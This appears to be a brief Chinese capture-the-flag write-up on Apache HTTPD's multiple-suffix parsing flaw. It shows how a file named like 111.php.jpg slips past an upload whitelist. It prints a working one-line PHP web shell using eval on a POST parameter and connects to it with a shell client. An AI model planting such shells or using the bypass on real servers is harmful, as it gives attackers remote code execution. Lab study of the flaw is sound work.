名称:httpd 后缀解析
描述:Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。
在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
步骤1
搭建网站,进行访问
步骤2
编写一个后缀的网站后门
<?php phpinfo();?>
修改后缀为{111.php.jpg}
步骤3
上传图片码
步骤4
上传成功,进行验证
添加后缀,进行访问
Ctrl+F进行查找{flag}
这里更换另一种读取方式
步骤2
编写一句话木马
<?php @eval($_POST['cmd']);?>
继续上传
空白页面,执行成功
使用蚁剑链接
拿到{flag}